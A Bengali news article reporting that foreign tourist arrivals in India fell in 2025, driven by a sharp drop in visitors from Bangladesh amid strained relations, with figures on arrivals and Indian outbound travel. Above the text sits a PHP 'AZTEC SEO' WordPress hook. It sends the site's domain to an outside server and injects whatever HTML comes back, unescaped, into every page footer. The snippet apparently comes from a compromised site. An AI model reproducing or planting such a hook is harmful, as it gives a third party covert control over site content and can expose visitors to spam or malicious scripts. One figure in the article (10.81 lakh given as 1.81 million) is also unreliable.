/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ভারত ও বাংলাদেশের মধ্যে চলমান উত্তেজনার জেরে দুই দেশের পক্ষ থেকেই ভিসা প্রদানের হার হ্রাস পেয়েছে। এর প্রভাবে ২০২৫ সালে বাংলাদেশ থেকে ভারতে পর্যটক আগমন কমেছে শতকরা ৭৩.৩৭ শতাংশ।আর এর সরাসরি প্রভাব পড়েছে ভারতের বিদেশি পর্যটকের আগমনের (ফরেন টুরিস্ট এরাইভাল বা এফটিএ) ক্ষেত্রে। ২০২৫ সালে ভারতে বিদেশি পর্যটকের আগমন (এফটিএ) কমেছে শতকরা ৯.৪ শতাংশ।
এই সময়কালে ভারতে বিদেশি পর্যটক আগমন করেছিল ৯০ লাখ ২০ হাজারের মতো। অথচ তার আগের বছর অর্থাৎ ২০২৪ সালে বিদেশি পর্যটকের আগমনের সংখ্যা ছিল ৯৯.৫ লাখ এবং ২০১৯ সালে তা ছিল ১.১ কোটি। সমপ্রতি ভারতের ফরেন টুরিস্ট এরাইভাল বা এফটিএর ডাটাবেস প্রকাশ্যে এলে সামনে এসেছে এমন রিপোর্ট।
রিপোর্ট বলছে, ২০২৪ সালের আগস্টে শেখ হাসিনার নেতৃত্বাধীন আওয়ামী লীগ সরকারের পতনের পর থেকে সমপ্রতি নবনির্বাচিত সরকারের ক্ষমতায় আসা পর্যন্ত গত দেড় বছরের বেশি সময় ধরে ভারত ও বাংলাদেশের মধ্যে সম্পর্কে শীতলতা আসে, দুই দেশের কূটনৈতিক স্তরেও এর প্রভাব পড়ে। একই প্রভাব পড়ে ভিসা প্রদানের ক্ষেত্রেও। বাংলাদেশি নাগরিকদের জন্য পর্যটন ভিসা প্রদান কমিয়ে দেয়া হয়। এমনকি একটা সময় নিরাপত্তার কারণ দেখিয়ে ভিসা আবেদন কেন্দ্রগুলো বন্ধ করে দেয়া হয়। স্বভাবতই বাংলাদেশ থেকে ভারতে আগত পর্যটকদের সংখ্যা কমে যায়। আর সেই প্রভাব পড়ে ভারতের বিদেশি পর্যটকের আগমনের ক্ষেত্রে।
পরিসংখ্যান বলছে, একসময়ের প্রথম অবস্থান থেকে ভারতে বিদেশি পর্যটকের আগমনের নিরিখে পূর্ব পাড়ের প্রতিবেশী দেশটি দ্বিতীয় থেকে পঞ্চম বৃহত্তম স্থানে নেমে এসেছে। সর্বশেষ সরকারি তথ্য অনুযায়ী, ২০২৫ সালে বাংলাদেশ থেকে পর্যটক আগমন কমেছে শতকরা ৭৩.৩৭ শতাংশ। ২০২৫ সালে ৪ লাখ ৬৬ হাজার ১২ জন পর্যটক বাংলাদেশ থেকে ভারতে এসেছিলেন। তার আগের বছরে ২০২৪ সালে এ সংখ্যা ছিল ১৭ লাখ ৫০ হাজার ১৬৫ জন।
ভারতে প্রতিবছরে যেখানে প্রায় ৯০ লাখ পর্যটক যায়, সেখানে বার্ষিক ৮ কোটির বেশি পর্যটক যায় ফ্রান্স এবং স্পেনের মতো দেশগুলোতে। থাইল্যান্ড এবং সংযুক্ত আরব আমিরাতেও তাৎপর্যপূর্ণভাবে বিদেশি পর্যটকের আগমন বেড়েছে। এমনকি ভারতের বিশাল আয়তন এবং বৈচিত্র্য থাকা সত্ত্বেও তুলনামূলকভাবে দুবাই একাই ভারতের চেয়ে বেশি পর্যটক পেয়ে থাকে।
২০২৫ সালে ভারতে বিদেশি পর্যটকের আগমনের নিরিখে শীর্ষ স্থানে ছিল যুক্তরাষ্ট্র। দেশটি থেকে ১০ লাখ ৮১ হাজার (১.৮১ মিলিয়ন) পর্যটক আগমন করেছিলেন। এরপরই ছিল যুক্তরাজ্য (১.০৭ মিলিয়ন), অস্ট্রেলিয়া (০.৫৪ মিলিয়ন) এবং কানাডা (০.৫৩ মিলিয়ন)। তবে ভারতে বিদেশি পর্যটকের আগমন কমলেও, একই সময়ে ভারতীয় পর্যটকদের অন্য রাষ্ট্রে ভ্রমণ যথেষ্ট বেশি ছিল। ২০২৫ সালের জানুয়ারি থেকে ডিসেম্বর পর্যন্ত দেশটি থেকে ৩ কোটি ২৭ লাখ পর্যটক অন্য দেশ ভ্রমণ করেছেন। ২০২৪ সালের তুলনায় এই হার শতকরা ৫.৯ শতাংশ বৃদ্ধি পেয়েছে এবং ২০১৯ সালের তুলনায় যা ২১.৫ শতাংশ বেশি। ভারতীয়দের ক্ষেত্রে শীর্ষ গন্তব্যস্থান হলো সংযুক্ত আরব আমিরাত, ২৬.৩ শতাংশ ভারতীয় পর্যটক দেশটিতে ভ্রমণ করছে। তারপরেই রয়েছে সৌদি আরব (১০.৩ শতাংশ), থাইল্যান্ড (৬.৮ শতাংশ), যুক্তরাষ্ট্র (৬.১ শতাংশ) এবং সিঙ্গাপুর (৪.৭ শতাংশ)।